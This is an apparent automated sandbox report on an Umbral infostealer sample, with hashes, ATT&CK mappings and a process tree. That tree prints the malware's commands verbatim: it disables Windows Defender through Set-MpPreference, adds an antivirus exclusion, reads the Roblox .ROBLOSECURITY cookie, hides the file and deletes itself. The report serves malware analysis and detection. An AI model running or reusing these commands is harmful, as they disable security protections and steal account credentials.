umbral | 986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
09/01/2025, 04:44

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General

Target

986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe
Size

227KB
MD5

cb2467ac4a120eb71d645447de9edb11
SHA1

9f51253c38be1f5b76a425d990ddc1f91052a14e
SHA256

986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e
SHA512

2a81afd3e9c0a7056d4c178bf51a3bd91af1a15f445b16f5b8405d1310e62f5908c1dde86232134e78ea4454d4fbc774d171d5de85bc1c7abfd5d748f9719393
SSDEEP

6144:+loZM+rIkd8g+EtXHkv/iD4m3eQzZqStAY5rWWDdcvb8e1m/i:ooZtL+EP8m3eQzZqStAY5rWWDoZ

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/2156-1-0x0000000000920000-0x0000000000960000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1336	powershell.exe
2028	powershell.exe
2680	powershell.exe
2860	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe

Deletes itself 1 IoCs

pid	Process
2356	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1560	PING.EXE
2356	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2060	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1560	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe
2860	powershell.exe
2028	powershell.exe
2680	powershell.exe
476	powershell.exe
1336	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe
Token: SeIncreaseQuotaPrivilege	1284	wmic.exe
Token: SeSecurityPrivilege	1284	wmic.exe
Token: SeTakeOwnershipPrivilege	1284	wmic.exe
Token: SeLoadDriverPrivilege	1284	wmic.exe
Token: SeSystemProfilePrivilege	1284	wmic.exe
Token: SeSystemtimePrivilege	1284	wmic.exe
Token: SeProfSingleProcessPrivilege	1284	wmic.exe
Token: SeIncBasePriorityPrivilege	1284	wmic.exe
Token: SeCreatePagefilePrivilege	1284	wmic.exe
Token: SeBackupPrivilege	1284	wmic.exe
Token: SeRestorePrivilege	1284	wmic.exe
Token: SeShutdownPrivilege	1284	wmic.exe
Token: SeDebugPrivilege	1284	wmic.exe
Token: SeSystemEnvironmentPrivilege	1284	wmic.exe
Token: SeRemoteShutdownPrivilege	1284	wmic.exe
Token: SeUndockPrivilege	1284	wmic.exe
Token: SeManageVolumePrivilege	1284	wmic.exe
Token: 33	1284	wmic.exe
Token: 34	1284	wmic.exe
Token: 35	1284	wmic.exe
Token: SeIncreaseQuotaPrivilege	1284	wmic.exe
Token: SeSecurityPrivilege	1284	wmic.exe
Token: SeTakeOwnershipPrivilege	1284	wmic.exe
Token: SeLoadDriverPrivilege	1284	wmic.exe
Token: SeSystemProfilePrivilege	1284	wmic.exe
Token: SeSystemtimePrivilege	1284	wmic.exe
Token: SeProfSingleProcessPrivilege	1284	wmic.exe
Token: SeIncBasePriorityPrivilege	1284	wmic.exe
Token: SeCreatePagefilePrivilege	1284	wmic.exe
Token: SeBackupPrivilege	1284	wmic.exe
Token: SeRestorePrivilege	1284	wmic.exe
Token: SeShutdownPrivilege	1284	wmic.exe
Token: SeDebugPrivilege	1284	wmic.exe
Token: SeSystemEnvironmentPrivilege	1284	wmic.exe
Token: SeRemoteShutdownPrivilege	1284	wmic.exe
Token: SeUndockPrivilege	1284	wmic.exe
Token: SeManageVolumePrivilege	1284	wmic.exe
Token: 33	1284	wmic.exe
Token: 34	1284	wmic.exe
Token: 35	1284	wmic.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	476	powershell.exe
Token: SeIncreaseQuotaPrivilege	580	wmic.exe
Token: SeSecurityPrivilege	580	wmic.exe
Token: SeTakeOwnershipPrivilege	580	wmic.exe
Token: SeLoadDriverPrivilege	580	wmic.exe
Token: SeSystemProfilePrivilege	580	wmic.exe
Token: SeSystemtimePrivilege	580	wmic.exe
Token: SeProfSingleProcessPrivilege	580	wmic.exe
Token: SeIncBasePriorityPrivilege	580	wmic.exe
Token: SeCreatePagefilePrivilege	580	wmic.exe
Token: SeBackupPrivilege	580	wmic.exe
Token: SeRestorePrivilege	580	wmic.exe
Token: SeShutdownPrivilege	580	wmic.exe
Token: SeDebugPrivilege	580	wmic.exe
Token: SeSystemEnvironmentPrivilege	580	wmic.exe
Token: SeRemoteShutdownPrivilege	580	wmic.exe
Token: SeUndockPrivilege	580	wmic.exe
Token: SeManageVolumePrivilege	580	wmic.exe
Token: 33	580	wmic.exe
Token: 34	580	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2156 wrote to memory of 1284	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	30
PID 2156 wrote to memory of 1284	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	30
PID 2156 wrote to memory of 1284	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	30
PID 2156 wrote to memory of 2832	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	33
PID 2156 wrote to memory of 2832	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	33
PID 2156 wrote to memory of 2832	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	33
PID 2156 wrote to memory of 2860	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	35
PID 2156 wrote to memory of 2860	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	35
PID 2156 wrote to memory of 2860	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	35
PID 2156 wrote to memory of 2028	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	37
PID 2156 wrote to memory of 2028	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	37
PID 2156 wrote to memory of 2028	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	37
PID 2156 wrote to memory of 2680	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	39
PID 2156 wrote to memory of 2680	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	39
PID 2156 wrote to memory of 2680	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	39
PID 2156 wrote to memory of 476	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	41
PID 2156 wrote to memory of 476	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	41
PID 2156 wrote to memory of 476	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	41
PID 2156 wrote to memory of 580	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	43
PID 2156 wrote to memory of 580	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	43
PID 2156 wrote to memory of 580	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	43
PID 2156 wrote to memory of 2664	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	45
PID 2156 wrote to memory of 2664	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	45
PID 2156 wrote to memory of 2664	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	45
PID 2156 wrote to memory of 272	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	47
PID 2156 wrote to memory of 272	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	47
PID 2156 wrote to memory of 272	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	47
PID 2156 wrote to memory of 1336	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	49
PID 2156 wrote to memory of 1336	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	49
PID 2156 wrote to memory of 1336	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	49
PID 2156 wrote to memory of 2060	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	51
PID 2156 wrote to memory of 2060	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	51
PID 2156 wrote to memory of 2060	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	51
PID 2156 wrote to memory of 2356	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	53
PID 2156 wrote to memory of 2356	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	53
PID 2156 wrote to memory of 2356	2156	986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe	53
PID 2356 wrote to memory of 1560	2356	cmd.exe	55
PID 2356 wrote to memory of 1560	2356	cmd.exe	55
PID 2356 wrote to memory of 1560	2356	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2832	attrib.exe

C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe
"C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1284
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe"
  2⤵
  - Views/modifies file attributes
  PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:580
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2664
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1336
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2060
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\986ab78ceee3c3bec343c6b7a74cf14d2c128bf7fbfd45bddbe7ab317b2c074e.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3aa36b62bb7429320ed91f500d1aa169

SHA1
620f08c84f734e64857fbe2bc88bf772dfb35b72

SHA256
30075ca94ea28298a7d7734736aff7aac5139372b79b0b63ff651e58acfad6da

SHA512
bc007377629a354d6ce7ce14f65608071ea7fe5bb9dead2acbc186a008c0d2b649e1a382ada8d44c505ca85960cec8cfc47e0016211973141f6b4e1fe89ad84d

Download Submit
memory/1336-43-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2028-14-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/2028-15-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2156-0-0x000007FEF5D13000-0x000007FEF5D14000-memory.dmp

Filesize
4KB

Download
memory/2156-1-0x0000000000920000-0x0000000000960000-memory.dmp

Filesize
256KB

Download
memory/2156-2-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2156-47-0x000007FEF5D10000-0x000007FEF66FC000-memory.dmp

Filesize
9.9MB

Download
memory/2860-7-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/2860-8-0x00000000020F0000-0x00000000020F8000-memory.dmp

Filesize
32KB

Download